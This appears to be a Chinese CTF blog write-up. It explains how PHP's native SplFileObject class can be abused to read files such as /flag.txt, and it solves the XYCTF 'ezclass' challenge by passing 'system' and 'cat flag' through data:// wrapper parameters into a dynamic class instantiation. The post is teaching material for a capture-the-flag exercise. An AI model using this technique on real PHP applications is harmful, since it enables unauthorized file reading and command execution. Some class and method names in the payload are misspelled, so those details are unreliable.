SPL原生类之SpIFileObject类

可读取文件类

SplFileObject 类

原理:

该类的构造方法可以构造一个新的文件对象用于后续的读取。其大致原理可简单理解为,当类中__tostring魔术方法被触发时,如果类中内容为存在文件名,那么它会对此文件名进行内容获取。

代码:

<?php
$dir=new SplFileObject("/flag.txt");
echo $dir;
?>

但是这样只能读取一行,想要读取多行

<?php
    $dir = new SplFileObject("/flag.txt");
    foreach($dir as $tmp){
        echo ($tmp.'<br>');
    }
?>

这里以XYCTF中的ezclass为例题讲解

这里一看到new 以及后面这种代码格式,就直接利用原生类就可以

但是这里是两个命令拼接到一起了。,那就利用伪协议读取文件

首先a=SpIFileObject  aa=data://text/plain,system  c=_toString

这样构造的目的是触碰到原生类中的tostring方法,将文件内容读取出来

同理

b=SpIFileObject bb=data://text/plain,cat flag c=_toString

这样就把两个命令拼接到一起了,因为源代码中有()包裹后面的new代码,所以system不用加(),否则作为代码执行,必须严格符合代码规则。

成功得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值